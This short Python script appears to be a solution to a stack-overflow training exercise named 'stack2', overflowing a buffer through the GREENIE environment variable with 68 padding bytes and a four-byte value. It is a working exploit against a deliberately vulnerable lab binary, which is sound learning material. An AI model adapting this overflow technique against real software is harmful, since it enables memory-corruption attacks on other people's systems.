import subprocess
# 0xd0a0d0a

padding = "A"*68
payload = u'\x0a\x0d\x0a\x0d'

process = subprocess.run(['env', 'GREENIE=' + padding + payload, './stack2'],
                           stdout=subprocess.PIPE,
                           stderr=subprocess.PIPE)

print(process.stdout.decode('utf-8'))
print(process.stderr.decode('utf-8'))
